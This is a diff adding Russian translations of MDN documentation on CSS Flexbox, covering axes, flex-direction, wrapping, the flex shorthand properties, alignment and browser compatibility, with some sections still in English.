+<p><img alt="If flex-direction is set to column then the cross axis runs in the inline direction." src="https://mdn.mozillademos.org/files/15617/Basics4.png" style="display: block; height: 244px; margin: 0px auto; width: 523px;"></p>
+
+<p>Понимание того, с какой осью вы работаете (главная или побочная) очень важно для дальнейшего изучения Flexbox.</p>
+
+<h2 id="Начало_и_конец_строки">Начало и конец строки</h2>
+
+<p>Важно понимать, что flexbox не делает никаких предположений о режиме написания документа. Раньше CSS был сильно ориентирован на горизонтальный режим и режим письма слева направо. Современные методы верстки охватывают полный диапазон режимов письма, и поэтому мы больше не предполагаем, что строка текста будет начинаться в верхнем левом углу документа и будет проходить по направлению к правой стороне, а новые строки будут появляться одна под другой.</p>
+
+<p>Вы можете прочитать больше о взаимосвязи между flexbox и спецификацией Writing Modes в следующей статье, однако следующее описание должно помочь объяснить, почему мы не говорим о левом, правом, верхнем и нижнем направлениях наших flex-элементов.</p>
+
+<p>Если свойству <code>flex-direction</code> задано значение <code>row</code> и вы работаете с английским языком, то начало главной оси будет слева, а конец главной оси – справа.</p>
+
+<p><img alt="Working in English the start edge is on the left." src="https://mdn.mozillademos.org/files/15618/Basics5.png" style="display: block; height: 152px; margin: 0px auto; width: 631px;"></p>
+
+<p>Если бы вы работаете с арабским языком, то начало главной оси будет справа, а конец главной оси – слева.</p>
+
+<p><img alt="The start edge in a RTL language is on the right." src="https://mdn.mozillademos.org/files/15619/Basics6.png" style="display: block; height: 152px; margin: 0px auto; width: 634px;"></p>
+
+<p>В обоих случаях начало побочной оси находится вверху flex контейнера, а конец – внизу, поскольку оба языка имеют режим горизонтальной записи.</p>
+
+<p>Спустя некоторое время становится естественным думать о начале и конце оси, а не о левом и правом краях. Это будет полезно для вас при работе с другими методами, такими как CSS Grid Layout, которые следуют тем же шаблонам.</p>
+
+<h2 id="Flex_контейнер">Flex контейнер</h2>
+
+<p>Область документа, использующая flexbox, называется flex контейнером. Чтобы создать flex контейнер, мы задаем значение <code>flex</code> или <code>inline-flex</code> для свойства {{cssxref ("display")}} контейнера. Как только мы делаем это, прямые потомки этого контейнера становятся flex элементами. Как и для всех свойств в CSS, некоторые начальные значения уже определены, поэтому при создании flex-контейнера все содержащиеся в нем flex-элементы будут вести себя следующим образом.</p>
+
+<ul>
+ <li>Элементы отображаются в ряд (свойство <code>flex-direction</code> по умолчанию имеет значение <code>row</code>).</li>
+ <li>Позиционирование элементов начинается от начала главной оси.</li>
+ <li>Элементы не растягиваются по основной оси, но могут сжиматься.</li>
+ <li>Элементы будут растягиваться, чтобы заполнить размер побочной оси.</li>
+ <li>Свойству {{cssxref("flex-basis")}} задано значение <code>auto</code>.</li>
+ <li>Свойству {{cssxref("flex-wrap")}} задано значение <code>nowrap</code>.</li>
+</ul>
+
+<p>Результатом этого является то, что все ваши элементы будут выстроены в ряд, используя размер содержимого в качестве их размера на главной оси. Если в контейнере больше элементов, чем можно уместить, они не будут обернуты и контейнер будет переполнен. Если некоторые элементы выше других, все элементы будут вытянуты вдоль побочной оси, чтобы заполнить ось в полный размер.</p>
+
+<p>Вы можете увидеть принцип работы в живом примере ниже. Попробуйте отредактировать или добавить дополнительные элементы, чтобы проверить поведение flexbox.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/the-flex-container.html", '100%', 480)}} </p>
+
+<h3 id="Изменение_flex-direction">Изменение flex-direction</h3>
+
+<p>Добавление свойства {{cssxref ("flex-direction")}} в контейнер позволяет нам изменять направление, в котором отображаются наши элементы flex. Установка <code>flex-direction: row-reverse</code> сохранит порядок отображаения элементов вдоль строки, однако начало и конец строки поменяются местами.</p>
+
+<p>Если изменить значение свойства <code>flex-direction</code> на <code>column</code>, главная ось изменится, и наши элементы будут отображаются в столбец. При установке параметра <code>column-reverse</code>, начало и конец стобца поменяются местами.</p>
+
+<p>В приведенном ниже примере значение свойства <code>flex-direction</code> установлено как <code>row-reverse</code>. Попробуйте другие значения — <code>row</code>, <code>column</code> и<code>column-reverse</code>, чтобы посмотреть как изменятся элементы контейнера.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-direction.html", '100%', 350)}}</p>
+
+<h2 id="Многострочный_флекс-контейнер_с_flex-wrap">Многострочный флекс-контейнер с flex-wrap</h2>
+
+<p>Несмотря на то, что флекс-бокс - это однонаправленная модель, есть возможность завернуть наши флекс-элементы в несколько строк. При этом вы должны рассматривать каждую строку как новый флекс контейнер. Распределение пространства будет происходить на этой конкретной линии, не привязываясь к соседним линиям.</p>
+
+<p>Чтобы включить такое поведение, добавьте параметр {{cssxref("flex-wrap")}} со значением <code>wrap</code>. Теперь, как только ваши элементы будут слишком большими для того, чтобы влезать на одну строчку, они будут переноситься на новые строки. Живой пример ниже содержит широкие элементы, у которых общая ширина больше, чем размер контейнера. Так как параметр <code>flex-wrap</code> установлен в значение <code>wrap</code>, элементы переносятся. Если Вы установите значение <code>nowrap</code>, то есть в начальное значение, то элементы ужмутся так, чтобы все элементы поместились на одной строке, потому что у них установлено значение, позволяющее им ужиматься при необходимости. Если им запретить ужиматься, или если они не смогут ужаться достаточно сильно, то при установленном значении <code>nowrap</code> будет происходить переполнение контейнера.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-wrap.html", '100%', 400)}}</p>
+
+<p>Более подробно эту тема разбирается в статье <a href="https://developer.mozilla.org/ru/docs/Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items">Разбираемся с обёртыванием Flex элементов</a>.</p>
+
+<h2 id="Краткая_запись_направления_и_многострочности_flex-flow">Краткая запись направления и многострочности: flex-flow</h2>
+
+<p>Вы можете указать два свойства <code>flex-direction</code> и <code>flex-wrap</code> в одном {{cssxref("flex-flow")}}. Первое значение свойства определяет <code>flex-direction</code>, второе <code>flex-wrap</code>.</p>
+
+<p>В приведенном ниже примере вы можете изменить первое значение на одно из доступных для <code>flex-direction</code> - <code>row</code>, <code>row-reverse</code>, <code>column</code> or <code>column-reverse</code>, а второе на <code>wrap</code> или <code>nowrap</code>, чтобы посмотреть как изменятся элементы контейнера.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-flow.html", '100%', 400)}}</p>
+
+<h2 id="Свойства_применяемые_к_флекс-элементам">Свойства, применяемые к флекс-элементам</h2>
+
+<p>Управлять поведением флекс-элементов более детально мы можем с помощью их собственных свойств:</p>
+
+<ul>
+ <li>{{cssxref("flex-grow")}}</li>
+ <li>{{cssxref("flex-shrink")}}</li>
+ <li>{{cssxref("flex-basis")}}</li>
+</ul>
+
+<p>В этом обзоре мы лишь кратко рассмотрим эти свойства. Чтобы получить более глубокое понимание обратитесь к руководству <a href="/ru/docs/Web/CSS/CSS_Flexible_Box_Layout/%D0%9A%D0%BE%D0%BD%D1%82%D1%80%D0%BE%D0%BB%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D1%81%D0%BE%D0%BE%D1%82%D0%BD%D0%BE%D1%88%D0%B5%D0%BD%D0%B8%D1%8F_%D1%8D%D0%BB%D0%B5%D0%BC%D0%B5%D0%BD%D1%82%D0%BE%D0%B2_%D0%B2%D0%B4%D0%BE%D0%BB%D1%8C_%D0%B3%D0%BB%D0%B0%D0%B2%D0%BD%D0%BE%D0%B9_%D0%BE%D1%81%D0%B8">Управление соотношением элементов вдоль главной оси</a>.</p>
+
+<p>Чтобы понять как работают эти свойства, прежде нам необходимо разобраться с концепцией <strong>доступного пространства</strong>. Изменяя значения этих флекс свойств, мы влияем на то, как доступное пространство распределяется между нашими элементами. Эта концепция так же важна для выравнивания элементов.</p>
+
+<p>Если наш контейнер шириной 500 пикселей содержит три элемента шириной 100 пикселей каждый, для их размещения нам потребуется пространство шириной в 300 пикселей. Остается 200 пикселей свободного пространства. Если мы не изменим исходные значения этих свойств, флексбокс разместит это пространство за последним элементом.</p>
+
+<p><img alt="This flex container has available space after laying out the items." src="https://mdn.mozillademos.org/files/15620/Basics7.png" style="display: block; height: 198px; margin: 0px auto; width: 528px;"></p>
+
+<p>Если вместо этого мы хотим чтобы элементы росли и заполняли собой свободное пространство, нам нужно указать способ распределения оставшегося пространства между элементами. Это как раз то для чего предназначены <code>flex</code> свойства.</p>
+
+<h3 id="Свойство_flex-basis">Свойство <code>flex-basis</code></h3>
+
+<p>Свойство <code>flex-basis</code> определяет размер доступного пространства элемента. Начальное значение этого свойства - <code>auto </code>- в этом случае браузер проверяет, имеют ли элементы размер. В приведенном выше примере все элементы имеют ширину 100px, и этот размер читается браузером как <code>flex-basis</code>.<br>
+ Если элементы не имеют размера, то для размера <code>flex-basis</code> используется размер контента. Вот почему, когда мы просто объявляем <code>display: flex</code> на родительском элементе для создания flex-элементов, все элементы перемещаются в ряд и занимают столько места, сколько им нужно для отображения их содержимого.</p>
+
+<h3 id="Свойство_flex-grow">Свойство <code>flex-grow</code></h3>
+
+<p>With the <code>flex-grow</code> property set to a positive integer, flex items can grow along the main axis from their <code>flex-basis</code>. This will cause the item to stretch and take up any available space on that axis, or a proportion of the available space if other items are allowed to grow too.</p>
+
+<p>If we gave all of our items in the example above a <code>flex-grow</code> value of 1 then the available space in the flex container would be equally shared between our items and they would stretch to fill the container on the main axis.</p>
+
+<p>The flex-grow property can be used to distribute space in proportion. If we give our first item a <code>flex-grow</code> value of 2 and the other items a value of 1, 2 parts will be given to the first item (100px out of 200px in the case of the example above), 1 part each the other two (50px each out of the 200px total).</p>
+
+<h3 id="Свойство_flex-shrink">Свойство <code>flex-shrink</code></h3>
+
+<p>Where the <code>flex-grow</code> property deals with adding space in the main axis, the <code>flex-shrink</code> property controls how it is taken away. If we do not have enough space in the container to lay out our items and <code>flex-shrink</code> is set to a positive integer the item can become smaller than the <code>flex-basis</code>. As with <code>flex-grow</code> different values can be assigned in order to cause one item to shrink faster than others — an item with a higher value set for <code>flex-shrink</code> will shrink faster than its siblings that have lower values.</p>
+
+<p>The minimum size of the item will be taken into account while working out the actual amount of shrinkage that will happen, which means that flex-shrink has the potential to appear less consistent than flex-grow in behavior. We’ll therefore take a more detailed look at how this algorithm works in the article Controlling Ratios of items along the main axis.</p>
+
+<div class="note">
+<p>Note that these values for <code>flex-grow</code> and <code>flex-shrink</code> are proportions. Typically if we had all of our items set to flex: <code>1 1 200px</code> and then wanted one item to grow at twice the rate, we would set that item to flex: <code>2 1 200px</code>. However you could use flex: <code>10 1 200px</code> and flex: <code>20 1 200px</code> if you wanted.</p>
+</div>
+
+<h3 id="Краткая_запись_значений_флекс_свойств">Краткая запись значений флекс свойств</h3>
+
+<p>You will very rarely see the <code>flex-grow</code>, <code>flex-shrink</code>, and <code>flex-basis</code> properties used individually; instead they are combined into the {{cssxref("flex")}} shorthand. The <code>flex</code> shorthand allows you to set the three values in this order — <code>flex-grow</code>, <code>flex-shrink</code>, <code>flex-basis</code>.</p>
+
+<p>The live example below allows you to test out the different values of the flex shorthand; remember that the first value is <code>flex-grow</code>. Giving this a positive value means the item can grow. The second is <code>flex-shrink</code> — with a positive value the items can shrink, but only if their total values overflow the main axis. The final value is <code>flex-basis</code>; this is the value the items are using as their base value to grow and shrink from.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-properties.html", '100%', 510)}}</p>
+
+<p>There are also some predefined shorthand values which cover most of the use cases. You will often see these used in tutorials, and in many cases these are all you will need to use. The predefined values are as follows:</p>
+
+<ul>
+ <li><code>flex: initial</code></li>
+ <li><code>flex: auto</code></li>
+ <li><code>flex: none</code></li>
+ <li><code>flex: &lt;positive-number&gt;</code></li>
+</ul>
+
+<p>Setting <code>flex: initial</code> resets the item to the initial values of Flexbox. This is the same as <code>flex: 0 1 auto</code>. In this case the value of <code>flex-grow</code> is 0, so items will not grow larger than their <code>flex-basis</code> size. The value of <code>flex-shrink</code> is 1, so items can shrink if they need to rather than overflowing. The value of <code>flex-basis</code> is <code>auto</code>. Items will either use any size set on the item in the main dimension, or they will get their size from the content size.</p>
+
+<p>Using <code>flex: auto</code> is the same as using <code>flex: 1 1 auto</code>; everything is as with <code>flex:initial</code> but in this case the items can grow and fill the container as well as shrink if required.</p>
+
+<p>Using <code>flex: none</code> will create fully inflexible flex items. It is as if you wrote <code>flex: 0 0 auto</code>. The items cannot grow or shrink but will be laid out using flexbox with a <code>flex-basis</code> of <code>auto</code>.</p>
+
+<p>The shorthand you often see in tutorials is <code>flex: 1</code> or <code>flex: 2</code> and so on. This is as if you used <code>flex: 1 1 0</code>. The items can grow and shrink from a <code>flex-basis</code> of 0.</p>
+
+<p>Try these shorthand values in the live example below.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-shorthands.html", '100%', 510)}}</p>
+
+<h2 id="Alignment_justification_and_distribution_of_free_space_between_items">Alignment, justification and distribution of free space between items</h2>
+
+<p>A key feature of flexbox is the ability to align and justify items on the main- and cross-axes, and to distribute space between flex items.</p>
+
+<h3 id="align-items"><code>align-items</code></h3>
+
+<p>The {{cssxref("align-items")}} property will align the items on the cross axis.</p>
+
+<p>The initial value for this property is <code>stretch</code> and this is why flex items stretch to the height of the tallest one by default. They are in fact stretching to fill the flex container — the tallest item is defining the height of that.</p>
+
+<p>You could instead set <code>align-items</code> to <code>flex-start</code> in order to make the items line up at the start of the flex container, <code>flex-end</code> to align them to the end, or <code>center</code> to align them in the centre. Try this in the live example — I have given the flex container a height in order that you can see how the items can be moved around inside the container. See what happens if you set the value of align-items to:</p>
+
+<ul>
+ <li><code>stretch</code></li>
+ <li><code>flex-start</code></li>
+ <li><code>flex-end</code></li>
+ <li><code>center</code></li>
+</ul>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/align-items.html", '100%', 520)}}</p>
+
+<h3 id="justify-content"><code>justify-content</code></h3>
+
+<p>The {{cssxref("justify-content")}} property is used to align the items on the main axis, the direction in which <code>flex-direction</code> has set the flow. The initial value is <code>flex-start</code> which will line the items up at the start edge of the container, but you could also set the value to <code>flex-end</code> to line them up at the end, or <code>center</code> to line them up in the centre.</p>
+
+<p>You can also use the value <code>space-between</code> to take all the spare space after the items have been laid out, and share it out evenly between the items so there will be an equal amount of space between each item. To cause an equal amount of space on the right and left of each item use the value <code>space-around</code>. With <code>space-around</code>, items have a half-size space on either end. Or, to cause items to have equal space around them use the value <code>space-evenly</code>. With <code>space-evenly</code>, items have a full-size space on either end.</p>
+
+<p>Try the following values of <code>justify-content</code> in the live example:</p>
+
+<ul>
+ <li><code>flex-start</code></li>
+ <li><code>flex-end</code></li>
+ <li><code>center</code></li>
+ <li><code>space-around</code></li>
+ <li><code>space-between</code></li>
+ <li><code>space-evenly</code></li>
+</ul>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/justify-content.html", '100%', 380)}}</p>
+
+<p>In the article <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container">Aligning Items in a Flex Container</a> we will explore these properties in more depth, in order to have a better understanding of how they work. These simple examples however will be useful in the majority of use cases.</p>
+
+<h2 id="Next_steps">Next steps</h2>
+
+<p>After reading this article you should have an understanding of the basic features of Flexbox. In the next article we will look at <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods">how this specification relates to other parts of CSS</a>.</p>
diff --git a/files/ru/web/css/css_flexible_box_layout/index.html b/files/ru/web/css/css_flexible_box_layout/index.html
new file mode 100644
index 0000000000..d271a2bd8b
--- /dev/null
+++ b/files/ru/web/css/css_flexible_box_layout/index.html
@@ -0,0 +1,124 @@
+---
+title: CSS Flexible Box Layout
+slug: Web/CSS/CSS_Flexible_Box_Layout
+tags:
+  - CSS
+  - CSS Flexible Boxes
+  - CSS Reference
+  - NeedsTranslation
+  - Overview
+  - TopicStub
+translation_of: Web/CSS/CSS_Flexible_Box_Layout
+---
+<p>{{CSSRef}}</p>
+
+<p><strong>Способ CSS раскладки Flexible Box</strong> (CSS Flexible Box Layout или <strong>Flexbox</strong>) — это способ CSS раскладки, означающий <a href="/ru/docs/Web/CSS/CSS_Box_Model">блочную модель CSS</a>, оптимизированную для построения пользовательских интерфейсов. Во флекс-модели потомки флекс-контейнера могут выстраиваться в любом направлении (право/лево, верх/низ), растягиваться, заполняя свободное пространство, или сжиматься во избежание переполнения родительского контейнера. Доступно различное выравнивание потомков по горизонтали и вертикали. Комбинация из родительского и вложеных блоков позволяют создавать такой layout, при котором элементы автоматически выстраиваются в столбы или строки.</p>
+
+<h2 id="Базовый_пример">Базовый пример</h2>
+
+<p>В следующем примере контейнер объявлен как <code>display:</code><code>flex</code>, таким образом его три потомка становятся флекс-элементами. Свойству <code>justify-content</code> присвоено значение <code>space-between</code> для того, чтобы, во-первых, задать между элементами равные интервалы по основной оси, и, во-вторых, «примагнитить» первый и последний элементы к левому и правому краям контейнера соответственно. Также можно заметить, что флекс-элементы растянуты перпендикулярно оси; это происходит из-за того, что дефолтным значением <code>align-items</code> является <code>stretch</code>. Так как высота родительского контейнера не задана, элементы растягиваются по высоте и принимают значение высоты самого высокого из них.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/simple-example.html", '100%', 500)}}</p>
+
+
+
+<h2 id="Reference">Reference</h2>
+
+<h3 id="CSS_Properties">CSS Properties</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("align-content")}}</li>
+ <li>{{cssxref("align-items")}}</li>
+ <li>{{cssxref("align-self")}}</li>
+ <li>{{cssxref("flex")}}</li>
+ <li>{{cssxref("flex-basis")}}</li>
+ <li>{{cssxref("flex-direction")}}</li>
+ <li>{{cssxref("flex-flow")}}</li>
+ <li>{{cssxref("flex-grow")}}</li>
+ <li>{{cssxref("flex-shrink")}}</li>
+ <li>{{cssxref("flex-wrap")}}</li>
+ <li>{{cssxref("justify-content")}}</li>
+ <li>{{cssxref("order")}}</li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes">Using CSS flexible boxes</a></dt>
+ <dd>Step-by-step tutorial about how to build layouts using this feature.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_flexbox_to_lay_out_web_applications">Using flexbox to lay out Web applications</a></dt>
+ <dd>Tutorial explaining how to use flexbox in the specific context of Web applications.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Flexbox') }}</td>
+   <td>{{ Spec2('CSS3 Flexbox') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable()}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoDesktop("20.0")}}</td>
+   <td>21.0{{property_prefix("-webkit")}}<br>
+    29.0</td>
+   <td>10.0{{property_prefix("-ms")}}<br>
+    11.0</td>
+   <td>12.10</td>
+   <td>6.1{{property_prefix("-webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>4.4</td>
+   <td>11</td>
+   <td>12.10</td>
+   <td><span style="font-size: 12px; line-height: 18px;">7.1{{property_prefix("-webkit")}}</span></td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/css/css_flexible_box_layout/mastering_wrapping_of_flex_items/index.html b/files/ru/web/css/css_flexible_box_layout/mastering_wrapping_of_flex_items/index.html
new file mode 100644
index 0000000000..0df3168e3a
--- /dev/null
+++ b/files/ru/web/css/css_flexible_box_layout/mastering_wrapping_of_flex_items/index.html
@@ -0,0 +1,100 @@
+---
+title: Разбираемся с обёртыванием Flex элементов
+slug: Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items
+tags:
+  - CSS
+  - Flex
+  - flexbox
+  - grid
+  - сворачивание элементов
+  - флекс
+  - флексбокс
+translation_of: Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items
+---
+<p>{{CSSRef}}</p>
+
+<p class="summary">Flexbox был разработан как однонаправленный макет, то есть он подразумевает укладывание элементов либо в строчку, либо в столбец, но не одновременно и то и другое. Тем не менее, есть возможность завернуть элементы в несколько строк, создавая новые строки. Это делается с помощью установки свойства {{cssxref("flex-direction")}} (flex-направление) в значение <code>row</code> (строки) или создавая новые столбцы, устанавливая свойство <code>flex-direction</code> в значение <code>column</code> (столбец). В этой статье я объясню, как это работает, зачем это придумали и в каких случаях лучше использовать технологию <a href="https://developer.mozilla.org/ru/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a> вместо флекс-боксов.</p>
+
+<h2 id="Делаем_вещи_завёрнутыми">Делаем вещи завёрнутыми</h2>
+
+<p>Значение по умолчанию свойства {{cssxref("flex-wrap")}} равняется <code>nowrap</code>. Это обозначает, что если у вас есть набор флекс-элементов, которые слишком широки для их контейнера, то они будут его переполнять. Если вы хотите, чтобы они переносились на следующую строку (или столбец, если у вас вертикально расположена основная ось) при переполнении, вы должны добавить свойство <code>flex-wrap</code> и установить ему значение <code>wrap</code>, или использовать сокращённую запись свойства {{cssxref("flex-flow")}} со значениями <code>row wrap</code> или <code>column wrap</code> соответственно для строк и столбцов.</p>
+
+<p>Тогда элементы будут переноситься внутри контейнера. В следующем примере у нас есть 10 элементов с <code>flex-basis</code> равным <code>160px</code> и способностью расти и сжиматься. Как только в первой строке мы попадаем в то место, когда нет возможности поместить ещё один элемент с размером 160 px, создаётся новая строка для этого элемента и так будет повторяться, пока не поместятся все элементы.Так как элементы могут расти, то их размер станет больше, чем 160px в том случае, когда все строки полностью заполнятся. Если на последней строке останется только один элемент, то он расширится до ширины всей строки.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/wrapping/row-wrap.html", '100%', 650)}}</p>
+
+<p>То же самое будет происходить с колонками. Содержащему контейнеру надо задать высоту, чтобы элементы начали переноситься в следующую колонку. И высота элементов тоже будет увеличиваться, чтобы заполнить колонку по высоте полностью.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/wrapping/column-wrap.html", '100%', 810)}}</p>
+
+<h2 id="Перенос_и_направление_flex-direction">Перенос и направление (flex-direction)</h2>
+
+<p>Перенос работает, что логично ожидать, и в паре со свойством <code>flex-direction</code>. Если <code>flex-direction</code> установлен в <code>row-reverse</code>, тогда элементы начнут укладываться с конечного края контейнера и будут идти в обратном порядке.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/wrapping/row-reverse-wrap.html", '100%', 750)}}</p>
+
+<p>Обратите внимание, что обратный порядок относится только к строке (в случае построчного заполнения). Элементы начнут заполнять справа налево, затем перейдут на вторую строку и опять начнут справа. Не будет реверса сразу по обеим осям - строки не будут заполняться вверх!</p>
+
+<h2 id="Объяснение_одномерного_макета">Объяснение одномерного макета</h2>
+
+<p>Как мы уже видели в предыдущих примерах, если нашим элементам разрешено расти и сжиматься, то появляются несколько элементов в последней строке или столбце, которые расширяются, чтобы заполнить всё оставшееся пространство.</p>
+
+<p>В технологии флексбоксов нет методов, которые позволили бы сказать элементам в одной строке выстроиться так же, как в строке выше — каждая флекс-строка ведёт себя как новый флекс-контейнер. Это так же касается распределения пространства по главной оси. Если есть только один элемент и ему разрешено расти, то он будет расти и заполнять главную ось направления, так же, как будто бы он был единственным элементов в контейнере.</p>
+
+<p>Если вы хотите макет в двух измерениях, то вы, вероятно, хотите макет сетки - Grid Layout. Мы можем сравнить наш пример переноса строк выше с версией, сделанной на технологии CSS Grid, чтобы увидеть разницу. Следующий живой пример использует технологию CSS Grid Layout для создания макета с несколькими колонками, каждая из которых имеет установленный минимумальный размер в 160 px и соответственно распределяя дополнительное пространство между всеми стоблцами. Однако в этом случае элементы остаются в своей сетке и не растягиваются, если их в последнем ряду меньше.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/wrapping/grid-example.html", '100%', 700)}}</p>
+
+<p>В этом разница между одно- и двух -мерной компоновкой. В одномерном методе, таком как флексбокс, мы контролируем только одно измерение - либо строки, либо столбцы. В двумерном макете, таком как grid, мы контролируем сразу оба измерения. Если вы хотите распределение пространства построчно, используйте flexbox. Если не хотите - используйте Grid.</p>
+
+<h2 id="Как_работают_грид-системы_на_основе_flexbox">Как работают грид-системы на основе flexbox?</h2>
+
+<p>Как правило, grid системы на основе flexbox работают, возвращая flexbox к привычному миру разметок на основе float. Если вы назначите процентную ширину для элементов Flex - либо задав значение параметру <code>flex-basis</code>, либо добавив ширину к самому элементу, при этом оставив значение <code>flex-basis</code> как <code>auto</code> - вы можете создать впечатление двухмерного макета. Вы можете посмотреть, как это работает на примере ниже.</p>
+
+<p>Здесь я установил <code>flex-grow</code> и <code>flex-shrink</code> на <code>0</code>, чтобы запретить flex элементам расти и сжиматься, а затем контролирую их размер с помощью процентов, как мы это делали в макетах с float.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/wrapping/flex-grid.html", '100%', 650)}}</p>
+
+<p>Если вам нужно, чтобы flex элементы выровнялись по поперечной оси, такой способ управления шириной позволит этого добиться. Тем не менее, в большинстве случаев, добавление параметра ширины непосредственно в сам flex элемент говорит о том, что возможно будет лучше, если вы переключитесь на технологию grid layout для этого компонента макета.</p>
+
+<h2 id="Создание_промежутков_между_элементами">Создание промежутков между элементами</h2>
+
+<p>При размещении flex элементов периодически возникает необходимость их разнести между собой. На данный момент у нас нет никакого решения задачи создания промежутков между элементами flexbox в пределах спецификации <a href="https://www.w3.org/TR/css-align-3/">Box Alignment module</a>. В будущем мы сможем просто использовать <code>row-gap</code> и <code>column-gap</code> для флексбоксов так же, как мы это делаем для CSS Grid макетов. Но пока всё что мы можем сделать - это использовать margin для достижения этой цели.</p>
+
+<p>Как вы можете видеть на живом примере ниже, попытки создать промежутки между элементами, при этом не создавая промежутки с границами содержащего контейнера, приводят к тому, что нам приходится использовать отрицательные маржины для самого контейнера. Любая граница в flex контейнере затем перемещается во вторую оболочку, чтобы отрицательное поле могло вытянуть элементы до этого элемента оболочки.</p>
+
+<p>Вот поэтому, когда всё-таки реализуют свойство gap, это решит проблему с промежутками. Потому что это свойство будет действовать только на промежутки между элементами, не затрагивая промежутки между элементом и содержащим контейнером.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/wrapping/gaps.html", '100%', 830)}}</p>
+
+<h2 id="Сворачивание_элементов">Сворачивание элементов</h2>
+
+<p>В спецификации флексбоксов подробно рассказано, что должно происходить, когда элементы должны сворачиваться при установке параметра <code>visibility: collapse</code> на элементе. Смотрим документацию MDN для параметра {{cssxref("visibility")}}. Спецификация описывает поведение так:</p>
+
+<blockquote>
+<p>“Установка visibility:collapse на flex элементе должна сворачивать этот flex элемент. Этот эффект должен быть таким же, как при установке свойства visibility:collapse на элементе table-row или table-column: свёрнутый flex элемент полностью удаляется из процесса рендеринга, но оставляет за собой некую "распорку", которая сохраняет стабильным поперечный размер flex-строки. Таким образом, если флекс-контейнер имеет только одну строку, динамическое сворачивание или разворачивание элементов может изменять основной размер флекс-контейнера, но должно быть гарантированно, что не будет изменяться поперечный размер и не будет приводить к эффекту "виляния" всего макета страницы.  Однако процесс обертывания flex-строки выполняется после процедуры сворачивания, поэтому поперечный размер flex-контейнера с несколькими строками может и изменяться.” - <a href="https://www.w3.org/TR/css-flexbox-1/#visibility-collapse">Сворачивание элементов</a></p>
+</blockquote>
+
+<p>Понимание этого поведения полезно, если вы планируете использовать яваскрипт на флекс-элементах и с его помощью прятать или показывать контент. Пример в спецификации демонстрирует один такой шаблон.</p>
+
+<p>В следующем живом примере у нас показан флекс-контейнер со параметров "перенос" в состоянии "не переносить". Третий элемент имеет контента больше, чем другие элементы. И у него установлен параметр <code>visibility: collapse</code>. Следовательно он имеет некую "распорку", которая удерживает ту высоту, которая позволит показать этот элемент. Если Вы удалите <code>visibility: collapse</code> из CSS или измените значение на <code>visible</code>, то вы увидите, что элемент исчезнет, а пространство перераспределится между не свернутыми элементами; высота флекс-контейнера при этом не изменится.</p>
+
+<div class="note">
+<p>Примечание. Используйте Firefox для двух приведенных ниже примеров, поскольку Chrome и Safari рассматривают свёрнутый элемент как скрытый.</p>
+</div>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/wrapping/visibility-collapse.html", '100%', 650)}}</p>
+
+<p>Когда Вы работаете с многострочным флекс-контейнером, Вы должны помнить, что процесс обёртывания происходит <em>после</em> сворачивания. Таким образом, браузер должен повторно выполнить процедуру оборачивания, чтобы учесть новое пространство, оставленное свернутым элементом в главной оси.</p>
+
+<p>Это значит, что элементы могут оказаться на строке, отличной от той, на которой они начинались. В случае, если какой-то элемент отображается и скрывается, это может привести к тому, что элементы окажутся в другом ряду.</p>
+
